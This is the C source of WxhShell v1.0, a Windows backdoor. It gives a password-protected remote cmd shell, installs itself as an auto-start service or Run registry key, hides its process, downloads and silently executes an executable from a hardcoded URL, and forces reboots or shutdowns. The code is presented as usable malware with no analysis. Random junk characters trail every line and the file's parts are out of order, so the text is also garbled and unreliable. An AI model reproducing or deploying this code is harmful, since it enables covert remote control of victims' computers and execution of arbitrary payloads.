    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nc1?c1s,f  
    if(Boot(SHUTDOWN)) vZs~=nfi#|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVHS1Vsei  
    else { l3/Cj^o4  
    closesocket(wsh); jhBfy|Ftu  
    ExitThread(0); P*OT&q  
    } %!A-K1Z\D  
    break; 4vND ~9d  
    } ^(@]5$^Z  
  // 获取shell ;0NJX)GL  
  case 's': { c#>:U,j  
    CmdShell(wsh); C5jt(!pi  
    closesocket(wsh); 4W<[& )7  
    ExitThread(0); 7#X`D  
    break; M 9NT%7Il  
  } J)|I/8!#  
  // 退出 t:v>W8N53  
  case 'x': { 2izBB,# "  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4ElS_u^cP7  
    CloseIt(wsh); C~'.3Q6  
    break; ?^LG>GgV  
    } d`% 7Pk  
  // 离开 b! teSf  
  case 'q': { [57`V &c5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x<@i3Y{[  
    closesocket(wsh); 7]i6 Gk  
    WSACleanup(); 8dJ+Ei~M  
    exit(1); GiXs`Yt|  
    break; "L8Hgwg  
        } Ekh)l0 l  
  } G({VK  
  } TI0=nfj  
.q!i +0  
  // 提示信息 H+@?K6{h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [HQ/MkP-Z  
} Og?GYe^_  
  } kV8qpw}K  
e AaS }g 0  
  return; ~-uDN)  
} '(ZT }N  
'-$cvH7_  
// shell模块句柄 Y"nz l]T  
int CmdShell(SOCKET sock) I]3!M`IMG  
{ 4vkqe6  
STARTUPINFO si;  ?sR(  
ZeroMemory(&si,sizeof(si)); W@zu N)U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !1A< jL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L"0?g(< 5  
PROCESS_INFORMATION ProcessInfo; fN:FD`  
char cmdline[]="cmd"; S@y?E}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {A5$8)nl|  
  return 0; 1N5lI97j  
} -.L )\  
Eb CK9  
// 自身启动模式 A"R(?rQi=  
int StartFromService(void) g1]bI$;  
{ P\QbMj1U  
typedef struct 7s;;2<k;_  
{ 7) a f  
  DWORD ExitStatus; JxEz1~WK &  
  DWORD PebBaseAddress; !DHfw-1K  
  DWORD AffinityMask; P^U.VXY}  
  DWORD BasePriority; Vock19P  
  ULONG UniqueProcessId; 7(P4KvkI  
  ULONG InheritedFromUniqueProcessId; /;!I.|j  
}   PROCESS_BASIC_INFORMATION; Xn>>hzj-x?  
pRUQMPn (  
PROCNTQSIP NtQueryInformationProcess; 6z:/ma^  
SwaPRAF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !XM*y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^+k= ;nl  
`tXd?E/e  
  HANDLE             hProcess; %|>D{q6C  
  PROCESS_BASIC_INFORMATION pbi; Q ;5A~n  
Vl>KeZ+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~dP\0x0AB  
  if(NULL == hInst ) return 0; #B#xSmak  
3\C+g{}e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2 !9Zw$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w@n}DCFt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C}DIm&))  
oq|`;k   
  if (!NtQueryInformationProcess) return 0; 2vb qz  
MD3iWgM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^&$86-PB/  
  if(!hProcess) return 0; wM3m'# xJ  
-lAY*2Jg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hTcU %Nc  
.[3C  
  CloseHandle(hProcess); Ttp%U8-LJR  
/-WmOn*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4gUx#_AaG  
if(hProcess==NULL) return 0; @D `j   
H<P d&  
HMODULE hMod; hb %F"Q  
char procName[255]; @O-\s q  
unsigned long cbNeeded; K8_\U0 K  
_}T )\o   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gvvw:]WgF  
<aI}+  
  CloseHandle(hProcess); Cb.M  
`U>2H4P  
if(strstr(procName,"services")) return 1; // 以服务启动 (v? rZv  
B7'yc`)H  
  return 0; // 注册表启动 Q&"oh  
} BMV\@Sg  
|sP0z !)b  
// 主模块 6BM$u v4  
int StartWxhshell(LPSTR lpCmdLine) S1m5z,G  
{ s#")hMJQ  
  SOCKET wsl; D(&WEmm\B  
BOOL val=TRUE; F~bDg tN3  
  int port=0; Kc#1H|'2N  
  struct sockaddr_in door; iM6(bmc.  
b*{UO  
  if(wscfg.ws_autoins) Install(); Np+pJc1  
uY/C iTWr  
port=atoi(lpCmdLine); {))Cb9'  
|YfJ#Agm+  
if(port<=0) port=wscfg.ws_port; vb`aV<MhH  
Q~P|=*  
  WSADATA data; B ?y[ %i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eV }H  
oL<5hN*D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _#{qDG=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XdOntP*a  
  door.sin_family = AF_INET; G|"m-.9F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XV`8Vb  
  door.sin_port = htons(port); D";clP05K  
|L:X$oM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .WuSW[g  
closesocket(wsl); OK47Q{.gh  
return 1; /q'-.-bo  
} K\s<<dRa  
-dfs8[i  
  if(listen(wsl,2) == INVALID_SOCKET) { GMoz$c6n_  
closesocket(wsl); BqA_C W  
return 1; \~zm_-Hw@Y  
} {k[dg0UV  
  Wxhshell(wsl); ^uVPN1}b^@  
  WSACleanup(); b.kV>K"X3  
H\9ePo\b~  
return 0; |B64%w>Y  
036QV M$  
} mQ:YHtHE.F  
a$bE2'cb  
// 以NT服务方式启动 +kD JZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +>$Kmy[3  
{ ?U1Nm~'UZ  
DWORD   status = 0; T1x67 b u  
  DWORD   specificError = 0xfffffff; xj3{Ke`6  
FT J{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p1mAoVxR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >RpMw!NT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k72NXagh  
  serviceStatus.dwWin32ExitCode     = 0; :C,}DyZy  
  serviceStatus.dwServiceSpecificExitCode = 0; -pQ?ybQ  
  serviceStatus.dwCheckPoint       = 0; E0DquVrz  
  serviceStatus.dwWaitHint       = 0; giW9b_  
I }8b]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1\)lD(J\C  
  if (hServiceStatusHandle==0) return; Neii$  
kVG+Wr7l0F  
status = GetLastError(); HnsLYY\  
  if (status!=NO_ERROR) BqdpJIr  
{ e+>$4Jq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $'<$:;4b3  
    serviceStatus.dwCheckPoint       = 0; VRSBf;?  
    serviceStatus.dwWaitHint       = 0; *m`x/_y+  
    serviceStatus.dwWin32ExitCode     = status; M 8(w+h{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Dqd2e&a\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \0&$ n  
    return; q]SH'Wd  
  } Z$6B}cz<  
];N/KHeZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PpF`0w=1%l  
  serviceStatus.dwCheckPoint       = 0; |)*!&\Ch  
  serviceStatus.dwWaitHint       = 0; jJ,y+o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,wv>G]v  
} hPCSAo!|  
s%6L94\t  
// 处理NT服务事件,比如:启动、停止 C^,J 6;'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }ov>b2H#<  
{ y6MkaHW[m  
switch(fdwControl) -mLu!32I<  
{ 'UZ i>Ta  
case SERVICE_CONTROL_STOP: $*Wa A`(U  
  serviceStatus.dwWin32ExitCode = 0; &h=f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u^WZsW  
  serviceStatus.dwCheckPoint   = 0; %|j`;gYV  
  serviceStatus.dwWaitHint     = 0; MfKru,LSh  
  { P:1eWP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6KPjZC<  
  } TB84}  
  return; QA)W(1  
case SERVICE_CONTROL_PAUSE: ilZ5a&X;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !0):g/2h  
  break; &+ H\ST(/  
case SERVICE_CONTROL_CONTINUE: X\*H7;k,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "1%k"+&  
  break; <DII%7q,6/  
case SERVICE_CONTROL_INTERROGATE: PGVP0H+RV  
  break; U#XW}T=|  
}; l\d[S]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E33x)CP  
} ng6E &<Z  
yC4%z) t&R  
// 标准应用程序主函数 uigzf^6,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #BZ5Mxzj  
{ G(t&(t`[  
bQI.Qk  
// 获取操作系统版本 w6^TwjjZ$  
OsIsNt=GetOsVer(); (Fq]y5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'A1y~x#2B  
N4{g[[ T  
  // 从命令行安装 -Y N( j \  
  if(strpbrk(lpCmdLine,"iI")) Install(); !vHCftKel  
Hd gABIuX  
  // 下载执行文件 :?i,!0#"  
if(wscfg.ws_downexe) { wOrj-Smx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %?8.UW\m  
  WinExec(wscfg.ws_filenam,SW_HIDE); fWDTP|DV  
} zgn`@y2  
(IA:4E}  
if(!OsIsNt) { -OKXfN]  
// 如果时win9x,隐藏进程并且设置为注册表启动 BV\~Dm]"  
HideProc(); :X7O4?ww  
StartWxhshell(lpCmdLine); 2|`Mb~E;  
} s= z$;1C  
else n^l5M^.  
  if(StartFromService()) I+jc  
  // 以服务方式启动 |O"Pb`V+  
  StartServiceCtrlDispatcher(DispatchTable); vSH-hAk  
else yHZ&5  
  // 普通方式启动 W v,?xm  
  StartWxhshell(lpCmdLine); 'kg~#cf/+  
RL/5 o"  
return 0;  x_/H  
} 2_Cp}Pj  
Lg2PP#r  
y\dx \  
&hZ6CV{  
=========================================== "39mhX2  
~uB@oKMru  
4e?cW&  
:&E~~EUW  
A$;*O)  
VjZb\ d4  
" #ZHKq7  
uF)^mT0D=  
#include <stdio.h> ``kesz  
#include <string.h> cwQ *P$n  
#include <windows.h> 6QPT  
#include <winsock2.h> B>cx[.#!  
#include <winsvc.h> x@> ~&eP  
#include <urlmon.h> 8%MF <   
N;=J)b|9  
#pragma comment (lib, "Ws2_32.lib") t!>0^['g4  
#pragma comment (lib, "urlmon.lib") 8Kn}o@Yd  
ICTjUQP  
#define MAX_USER   100 // 最大客户端连接数 /~?[70B}E  
#define BUF_SOCK   200 // sock buffer $ylxl"Y  
#define KEY_BUFF   255 // 输入 buffer (;HO3Z".q$  
)k `+9}OO  
#define REBOOT     0   // 重启 >F/E,U ]  
#define SHUTDOWN   1   // 关机 hWX4 P  
gDX\ p>7  
#define DEF_PORT   5000 // 监听端口 >9<rc[  
XqcNFSo)  
#define REG_LEN     16   // 注册表键长度 1D~B\=LL}  
#define SVC_LEN     80   // NT服务名长度 'w|N} 4  
M?['HoRo  
// 从dll定义API s(MdjWw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^6!8)7b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lr`Gyl62  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wvr`~e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -W|~YK7e  
[[}ukG4  
// wxhshell配置信息 bF +d_t  
struct WSCFG { .ffr2\'*  
  int ws_port;         // 监听端口 1Va@w  
  char ws_passstr[REG_LEN]; // 口令 Ow-;WO_HQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no wMM1Q/-#  
  char ws_regname[REG_LEN]; // 注册表键名 /5\{(=0  
  char ws_svcname[REG_LEN]; // 服务名 &kH7_Lz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oL9ELtb ]s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kf6D$}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JNu+e#.Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dcE(uf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `_J>R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t*c_70|@k  
HLE%f;  
}; MA7&fNjB  
#vPk XcP  
// default Wxhshell configuration grJ(z)c  
struct WSCFG wscfg={DEF_PORT, w&&)v~Y_  
    "xuhuanlingzhe", Ti#x62X{  
    1, m x2Ov u  
    "Wxhshell", 7~H$p X  
    "Wxhshell", ;$4: &T  
            "WxhShell Service", QCfR2Nn}  
    "Wrsky Windows CmdShell Service", AJP-7PPD  
    "Please Input Your Password: ", $^#q0Yx  
  1, uU+?:C  
  "http://www.wrsky.com/wxhshell.exe", !B#tJD  
  "Wxhshell.exe" UXHtmi|_:  
    }; "YV vmCp  
Hqu?="f=  
// 消息定义模块 7TZ,bD_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uz `OAb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +# @2,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ORfMp'uP=  
char *msg_ws_ext="\n\rExit."; ZYz8ul$E  
char *msg_ws_end="\n\rQuit."; ;#7:}>}rO  
char *msg_ws_boot="\n\rReboot..."; id/y_ekfP  
char *msg_ws_poff="\n\rShutdown..."; O*Z -3 l  
char *msg_ws_down="\n\rSave to "; 3E8 Gh>J_  
t0 T#Xb  
char *msg_ws_err="\n\rErr!"; R>,_C7]u  
char *msg_ws_ok="\n\rOK!"; uN$ <7KB"  
qp/nWGj  
char ExeFile[MAX_PATH]; P_ b8_ydU  
int nUser = 0; #5^S@}e  
HANDLE handles[MAX_USER]; (%{!TJgZR  
int OsIsNt; >5Sm.7}R  
Q1DiEg  
SERVICE_STATUS       serviceStatus; IXR%IggJA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jZq CM{  
=%;TVJk*a  
// 函数声明 }y%mG&KSz  
int Install(void); XBTjb  
int Uninstall(void); P0-K/_g  
int DownloadFile(char *sURL, SOCKET wsh); \Iz-<:gA'  
int Boot(int flag); F=;nWQ&  
void HideProc(void); _P=L| U#C  
int GetOsVer(void); QU@CPME  
int Wxhshell(SOCKET wsl); -Z:nImqzc  
void TalkWithClient(void *cs); ,k,+UisG  
int CmdShell(SOCKET sock); Qgl5Jr.  
int StartFromService(void); k_ijVfI9  
int StartWxhshell(LPSTR lpCmdLine); P m|S>r  
/,ISx }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N9O}6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mFBuKp+0)h  
, .uI>  
// 数据结构和表定义 .gw6W0\F  
SERVICE_TABLE_ENTRY DispatchTable[] = %D+NrL(  
{ XC,by&nY<y  
{wscfg.ws_svcname, NTServiceMain}, %lGg}9k'  
{NULL, NULL} TnPx.mwK\  
}; 5^36nEoA(  
F\+!\b*lP  
// 自我安装 4?aNJyV%&  
int Install(void) a &hj|  
{ #:[CF:  
  char svExeFile[MAX_PATH]; :j;_Xw  
  HKEY key; 28 ;x5m)N  
  strcpy(svExeFile,ExeFile); { b7%Zd3-  
D (Q=EdlO  
// 如果是win9x系统,修改注册表设为自启动 C)ebZ3  
if(!OsIsNt) { -$(2Z[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0C0ld!>r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Ytqs(`   
  RegCloseKey(key); v <E#`4{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V}q=!zz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;QQ/bM&I  
  RegCloseKey(key); H`jvT]  
  return 0; ?L>}( {9  
    } >]?!9@#IH  
  } ~4ysg[`  
} sq}uq![?M  
else { ]hY4 MS  
WNiM&iU  
// 如果是NT以上系统,安装为系统服务 bbFzmS1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j`k :)  
if (schSCManager!=0) 3}i(i0+  
{ |`@7G`x  
  SC_HANDLE schService = CreateService lD?]D&  
  ( UphZRgT!N  
  schSCManager, v`~egE17  
  wscfg.ws_svcname, HJOoCf  
  wscfg.ws_svcdisp, @)3orH  
  SERVICE_ALL_ACCESS, ~@'DYZb- H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jN sM&s,  
  SERVICE_AUTO_START, w#RfD  
  SERVICE_ERROR_NORMAL, gPy}.g{tH$  
  svExeFile, !F# ^Peb  
  NULL, O29GPs  
  NULL, G8OnNI  
  NULL, 8>ODtKI *  
  NULL, e1 P(-V  
  NULL =tqChw   
  ); (l:LG"sy\  
  if (schService!=0) +(##B pC  
  { ^ V8?6E  
  CloseServiceHandle(schService); 3aEO9v,n  
  CloseServiceHandle(schSCManager); lA ZBlO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zs}EGC~&  
  strcat(svExeFile,wscfg.ws_svcname); )|L#i2?:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -! :h]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m~vEandm  
  RegCloseKey(key); C )+%9Edg  
  return 0; !R1OSVFp  
    } ddvtBAX  
  } rJc=&'{&)N  
  CloseServiceHandle(schSCManager); ?YhGW   
} hbTJXP~~?  
} fBct%M 3  
WlnS.P\+E  
return 1; )W3kBDD  
} "l 1z@  
=-n7/  
// 自我卸载 8POLp9>X  
int Uninstall(void) lxOUV?m^N  
{ F;)qM|7  
  HKEY key; p(x<h  
3Cl&1K #5  
if(!OsIsNt) { _qq>-{-Ym  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L ^{C4}x=  
  RegDeleteValue(key,wscfg.ws_regname); N PE7AdB8  
  RegCloseKey(key); 5*r5?ne  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {@T<eb$d  
  RegDeleteValue(key,wscfg.ws_regname); >D*%1LH~V  
  RegCloseKey(key); H.[t&VO  
  return 0; @ R;o $n  
  } 3+ WostOx  
} !i?aRI/6  
} Xm[Cgt_?  
else { Y .\<P*iO  
d0N/!;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !_j6\r=  
if (schSCManager!=0) {A8w~3F  
{ zZ{(7K fz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _:?b -44  
  if (schService!=0) NIxtT>[+3  
  { teg[l-R"7z  
  if(DeleteService(schService)!=0) { pDG>9P#mO  
  CloseServiceHandle(schService); t[b@P<F  
  CloseServiceHandle(schSCManager); aq%i:};  
  return 0; iGsD!2  
  } h v/+  
  CloseServiceHandle(schService); p$@l,4@{  
  } !jyy`q=  
  CloseServiceHandle(schSCManager); Rln@9muXA  
} "!_,N@\t  
} rd4mAX6@  
P(Q}r 7F~(  
return 1; 3"iJ/Hc}9  
} }i@%$Ixsn  
m[6c{$A/w  
// 从指定url下载文件 tf?"AY4  
int DownloadFile(char *sURL, SOCKET wsh) K8|>"c~  
{ CeW}z kcT  
  HRESULT hr; \-R\xL  
char seps[]= "/"; Z6_E/S  
char *token; nO .:f  
char *file; CGJ>j}C  
char myURL[MAX_PATH]; Tlz~o[`&  
char myFILE[MAX_PATH]; r>x>aJ  
be:=-B7!  
strcpy(myURL,sURL); nSeb?|$D6  
  token=strtok(myURL,seps); tz`T#9  
  while(token!=NULL) }}w Z  
  { qJT|om L Y  
    file=token; -)Y[t Z^*`  
  token=strtok(NULL,seps); Dh B*k<S  
  } H(F9&6}  
]5j1p6;(`  
GetCurrentDirectory(MAX_PATH,myFILE); uw9w{3]0f  
strcat(myFILE, "\\"); <l"rnM%  
strcat(myFILE, file); fIm=^}?fwK  
  send(wsh,myFILE,strlen(myFILE),0); W3-g]#\?  
send(wsh,"...",3,0); VfJdCg_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yDXW#q  
  if(hr==S_OK) pJPP6Be<  
return 0; W,sPg\G 3  
else UWg+7RL  
return 1; l. 0|>gj`0  
C+X- Cp  
} a qIpO  
Xrd-/('2  
// 系统电源模块 T96M=?wh!  
int Boot(int flag) P'D'+qS  
{ %~^:[@xa*  
  HANDLE hToken; 'w~e>$WI  
  TOKEN_PRIVILEGES tkp; [eO6 H2@=z  
XZ[3v9?&n  
  if(OsIsNt) { MFO1v%m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !DNk!]|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LXx`Vk>ky  
    tkp.PrivilegeCount = 1; -x2&IJ!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %][6TZ}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t[Ywp!y[  
if(flag==REBOOT) { a&s&6Q|Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q!v]njCIB7  
  return 0; 2RC@Fu~zaU  
} dn|OY. `|  
else { NGOyd1$7N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j`ybzG^  
  return 0; tboc7Hor4  
} =y WHm  
  } f`"@7-N  
  else { p-,(P+Np  
if(flag==REBOOT) {  $qyST  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f,QBj{M,  
  return 0; +a!uS0fIJi  
} co [  
else { Onj)AJ9M0r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mUjM5ceAXO  
  return 0; o `}(1$a>  
} Trt1M  
} >*S ;z+!&  
!=rJ~s F/{  
return 1; x|q|> dPB  
} T~b6Zu6  
#CTHCwYo  
// win9x进程隐藏模块 /eNDv(g)M  
void HideProc(void) qASV\ <n  
{ GMQKR,6VM  
B{\qYL/~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gWpG-RL0  
  if ( hKernel != NULL )  T6N~L~J  
  { `CF.-Vl3J#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;;lOu~-*$p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %hH@< <b(s  
    FreeLibrary(hKernel); $V2.@ X  
  } h;S?  
\2NT7^H#  
return; N(= \S:  
} 19 <Lgr  
+N:=|u.g  
// 获取操作系统版本 eL{6;.C  
int GetOsVer(void) 5;Q9Z1 `  
{ (|U|>@  
  OSVERSIONINFO winfo; dId&tTMmC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `sPH7^R  
  GetVersionEx(&winfo); ewORb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4+'d">+|  
  return 1; u:GDM   
  else 6R+EG{`  
  return 0; wTkcR^  
} HA0Rv#p  
*zTEK:+_  
// 客户端句柄模块 SWPb=[WEz  
int Wxhshell(SOCKET wsl) VAet!H+]  
{ yy#4DYht  
  SOCKET wsh; APM!xX=N  
  struct sockaddr_in client; )2mvW1M=7;  
  DWORD myID; -/3D0`R  
p~NFiZ,  
  while(nUser<MAX_USER) S^*ME*DDz  
{ 3KN>t)A#  
  int nSize=sizeof(client); g]Fm%iy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8KyF0r?  
  if(wsh==INVALID_SOCKET) return 1; 5;_&C=[  
!R@s+5P)U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2JX@#vQ4  
if(handles[nUser]==0) D ~LU3#n  
  closesocket(wsh); KG9FR*"  
else DfV'1s4y  
  nUser++; >{@:p`*  
  } {u{8QKeC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jz"-E  
YMD&U   
  return 0; atmTI`i  
} To@77.'  
6BIr{SY  
// 关闭 socket }hA h'*(  
void CloseIt(SOCKET wsh) iDrQ4>  
{ n+%tu"e  
closesocket(wsh); cL yed3uU  
nUser--; fZF.eRP '  
ExitThread(0); `(Ij@8 4  
} 8PtX@s43\  
BFH=cs  
// 客户端请求句柄 ]#t5e>o|  
void TalkWithClient(void *cs) p4M7BK:nf  
{ 0D:eP``  
L qdz qq  
  SOCKET wsh=(SOCKET)cs; Sxg&73;ZV  
  char pwd[SVC_LEN]; hsZ}FLStJ  
  char cmd[KEY_BUFF]; qS}pv  
char chr[1]; )3A%Un#B  
int i,j; -VPda @@w  
(X(c.Jj  
  while (nUser < MAX_USER) { 5B,HJax  
[>wvVv  
if(wscfg.ws_passstr) { :Yy8Ie#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (043G[H'.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F,>-+~L=  
  //ZeroMemory(pwd,KEY_BUFF); tDwj~{a~  
      i=0; tj;<EaM  
  while(i<SVC_LEN) { ' &j]~m  
>S=,ype~G  
  // 设置超时 9d1 G u"  
  fd_set FdRead; 7UA|G2Zr  
  struct timeval TimeOut; j3yz"-53e  
  FD_ZERO(&FdRead); ZK8I f?SD  
  FD_SET(wsh,&FdRead); rN5;W  
  TimeOut.tv_sec=8; JwM Fu5@  
  TimeOut.tv_usec=0; [$P.ek<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \jGvom.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tF=Y3W+L  
h(H b+7g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TVEFZ\p<A  
  pwd=chr[0]; Y~+`F5xX<  
  if(chr[0]==0xd || chr[0]==0xa) { 1?N$I}?  
  pwd=0; dpI9DzA;  
  break; RRBBz7:~  
  } PML +$  
  i++; j+7ok 5J#  
    } ZFO*D79:K  
;)gNe:Q  
  // 如果是非法用户,关闭 socket -y5Z c?e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2=p"%YSn  
} I!uGI  
1?5UVv_F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n^7m^1to  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W99Hq1W;r  
xFy%&SKHg  
while(1) { 08JVX'X-mr  
.vJ t&@NO  
  ZeroMemory(cmd,KEY_BUFF); cA]Ch>]A%  
>( :b\*C  
      // 自动支持客户端 telnet标准   qc6eqE  
  j=0; EU@XLm6  
  while(j<KEY_BUFF) { 2W]y9)<c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qtLXdSc  
  cmd[j]=chr[0]; jYi{[* *  
  if(chr[0]==0xa || chr[0]==0xd) { iJD_ qhd7  
  cmd[j]=0; 6*r3T:u3  
  break; Q($aN-   
  } 2lm{:tS  
  j++; *N|s+  
    } y/}ENUGR  
a{%]X(';  
  // 下载文件 Y^P'slY{%  
  if(strstr(cmd,"http://")) { b/g"ws_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]p sx\ZMa  
  if(DownloadFile(cmd,wsh)) e:H9!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SuU %x2  
  else b$Ch2Qz0q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6a\YD{D] _  
  } 2E X Rq  
  else { u]%>=N(^2  
